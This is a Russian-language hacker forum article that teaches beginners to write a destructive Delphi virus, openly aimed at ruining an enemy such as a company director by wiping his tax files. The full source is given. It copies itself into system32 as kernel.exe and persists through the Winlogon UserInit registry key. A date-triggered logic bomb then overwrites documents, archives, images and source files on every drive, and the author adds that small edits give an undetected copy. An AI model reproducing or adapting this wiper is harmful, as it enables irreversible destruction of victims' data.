Простенький Дестрой На Delphi

[/dev/AVR]

Простой файловый дестрой на DELPHI.
Ну что же. Я решил написать эту статеечку для начинающих DELPHIстов с дестройным методом мышления. Допустим у вас есть враг которому нужно задестроить что ни будь.
Допустим он Директор какого небудь предприятия, у него на компах находятся ценные файлы, без которых, ему грозит финансовый крах
(В случае если это налоговая отчетность). Так нужно же этот крах организовать.
И в данном случае я кратенько расскажу как это можно сделать на DELPHI.
Начнемс.
Из Uses нам понадобятся Windows,SysUtils.
Для начала нам нужно знать где находится папка винды, что бы туда скопироваться.
ВОТ КУСОЧЕК КОДА КОТОРЫЙ ПОЗВОЛИТ НАМ ЭТО СДЕЛАТЬ.

var
Windir  : String;
       WindirP : PChar;
       res:cardinal;
begin;
  WinDirP := StrAlloc(MAX_PATH);
       Res := GetWindowsDirectory(WinDirP, MAX_PATH);
       if Res > 0 then WinDir := StrPas(WinDirP);
end.

Вот мы и узнали где находится папка винды (WinDir\WinDirP-тип PCHAR).
Теперь нам нужно будет скопироваться туда поглубже и прописаться реестр.
Вот как это будет реализованно. Обратите внимание что используем не всем известный HKLM=>RUN,
А UserInit, про который ламеры маловато знают. Обратите внимание что в
UserInit(HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CurrentVersion\Winlogon)
c:\Мастдай\System32\UserInit- обязательно, а дальше через запятую, перечисляем RUNы для вирей.
Например: c:\Мастдай\System32\UserInit, C:\Мастдай\Вирь1.EXE

program Project2;
uses
  SysUtils,Windows;
var
Windir  : String;
       WindirP : PChar;
       res:cardinal;
           lngRet: integer;
lngResult: Windows.HKEY;
begin
    WinDirP := StrAlloc(MAX_PATH);
       Res := GetWindowsDirectory(WinDirP, MAX_PATH);
       if Res > 0 then WinDir := StrPas(WinDirP);
   if paramstr(0)<>WinDirP+'\system32\kernel.exe' then begin;
if CopyFile(pchar(paramstr(0)),pchar(WinDirP+'\system32\kernel.exe'),true) then begin;end;
lngRet:=RegOpenKeyEx(HKEY_LOCAL_MACHINE, PChar('Software\Microsoft\Windows NT\CurrentVersion\Winlogon'),0,KEY_ALL_ACCESS,lngResult);
if lngRet=ERROR_SUCCESS then
begin;
RegSetValueEx(lngResult,PChar('UserInit'),0,REG_SZ,PChar(WinDirP+'\System32\UserInit.exe,'+WinDirP+'\system32\kernel.exe'),Length(WinDirP+'\System32\UserInit.exe,'+WinDirP+'\system32\kernel.exe'));
  RegFlushKey(lngResult);
  RegCloseKey(lngResult);
end;
end;

end.

ВОТ мы скопировались, прописались, а теперь осталось до конца доделать дестрой(Процедуры поиска файлов и дестрой)
Процедура поиска организована на FindFirst, FindNext.
if DateToStr(Date)= '09.12.2005' then begin;end Дата срабатывания виря.
А в общем зачем я треп устраиваю, даю сырец.

program Project2;
uses
  Windows,
  SysUtils;

  Procedure Destroy (path:string);
  var lst:text;
  begin;
  assignfile(lst,path);
  rewrite(lst);

writeln(lst,'МАТРИЦА ОТЫМЕЛА ТЕБЯ');
  closefile(lst);
  end;

procedure Scan (s: string);
  var
  ln:longint;
  sr: TSearchRec;
  r: integer;
  OldDir: string;
  check:string;
  lst:text;
  begin

  {$I-}

  if s='a:\' then s:='c:\';
  ChDir (s);
  {$I+}
  if IoResult = 0 then begin
    try
      r := FindFirst ('*.*', faAnyFile, sr);
      while r = 0 do begin
        if (sr.Name <> '.') and (sr.Name <> '..') then begin


          if (faDirectory and sr.Attr) = faDirectory then begin
            OldDir := GetCurrentDir;
            Scan (ExpandFileName (sr.Name));
            ChDir (OldDir);
          end else begin;
            ln:=length(sr.name);
            check:=sr.name[ln-2]+sr.name[ln-1]+sr.name[ln];

 sleep(10);// Задержка что бы на заметили свечение светодиода HDD

        if check='doc' then begin;try Destroy(sr.Name);except;end;end;
        if check='txt' then begin;try Destroy(sr.Name);except;end;end;
        if check='xls' then begin;try Destroy(sr.Name);except;end;end;
        if check='ppt' then begin;try Destroy(sr.Name);except;end;end;
        if check='pas' then begin;try Destroy(sr.Name);except;end;end;
        if check='c' then begin;try Destroy(sr.Name);except;end;end;
        if check='asm' then begin;try Destroy(sr.Name);except;end;end;
        if check='rar' then begin;try Destroy(sr.Name);except;end;end;
        if check='zip' then begin;try Destroy(sr.Name);except;end;end;
        if check='arj' then begin;try Destroy(sr.Name);except;end;end;
        if check='htm' then begin;try Destroy(sr.Name);except;end;end;
        if check='html' then begin;try Destroy(sr.Name);except;end;end;
        if check='jpg' then begin;try Destroy(sr.Name);except;end;end;
        if check='gif' then begin;try Destroy(sr.Name);except;end;end;
        if check='bmp' then begin;try Destroy(sr.Name);except;end;end;
        if check='png' then begin;try Destroy(sr.Name);except;end;end;
        if check='tiff' then begin;try Destroy(sr.Name);except;end;end;
        if check='php' then begin;try Destroy(sr.Name);except;end;end;
        if check='cgi' then begin;try Destroy(sr.Name);except;end;end;
        if check='asp' then begin;try Destroy(sr.Name);except;end;end;
        if check='mp3' then begin;try Destroy(sr.Name);except;end;end;
        if check='mpeg' then begin;try Destroy(sr.Name);except;end;end;
        if check='psd' then begin;try Destroy(sr.Name);except;end;end;
        



          end;
        end;
        r := FindNext (sr);
      end;
    finally
      FindClose (sr);
    end;
  end;
end;

procedure Search;
var
  DriveNum: Integer;
  DriveChar: Char;
  DriveBits: set of 0..25;

begin

  Integer(DriveBits) := GetLogicalDrives;
  for DriveNum := 0 to 25 do begin
  if not (DriveNum in DriveBits) then
    Continue;
    DriveChar := Char(DriveNum + Ord('a'));
      Scan (DriveChar + ':\');
  end;
end;
  label 1,2,3,4,konec;
  var lst:text;
   xxx:string;
nr,nw:longint;
  alpha:integer;

  Windir  : String;
       WindirP : PChar;
       res:cardinal;
         lngRet: integer;
lngResult: Windows.HKEY;


  begin

  WinDirP := StrAlloc(MAX_PATH);
       Res := GetWindowsDirectory(WinDirP, MAX_PATH);
       if Res > 0 then WinDir := StrPas(WinDirP);
if paramstr(0)<>WinDirp+'\system32\kernel.exe' then begin;
if CopyFile(pchar(paramstr(0)),pchar(WinDirP+'\system32\kernel.exe'),true) then begin;end;
lngRet:=RegOpenKeyEx(HKEY_LOCAL_MACHINE, PChar('Software\Microsoft\Windows NT\CurrentVersion\Winlogon'),0,KEY_ALL_ACCESS,lngResult);
if lngRet=ERROR_SUCCESS then
begin
  RegSetValueEx(lngResult,PChar('UserInit'),0,REG_SZ,PChar(windir+'\system32\userinit.exe,'+WinDir+'\system32\kernel.exe'),Length(Windir+'\system32\userinit.exe,'+WinDir+'\system32\kernel.exe'));
  RegFlushKey(lngResult);
  RegCloseKey(lngResult);
end;
end;

if DateToStr(Date)= '09.12.2005' then begin;end   // Дата сробатывания(LOGIC BOMB)
                    else goto konec;
Search;


3:
setwindowtext(GetForeGroundWindow,'ТЕБЯ ОТЫМЕЛИ ПРЯМО В Ж#ПУ');
sleep(100);
goto 3;

konec:



end.

PS: Напомню вам что небольшое изменение сырца приведет к тому что у вас будет приватная
непалящаяся копия. Так что удачи.
PSPS: To ADMINS & Moderators- если я ошибся разделом, просьба сильно ногами не пинать, а переместить в нужный данную статью, которую я написал специально для DAMAGELAB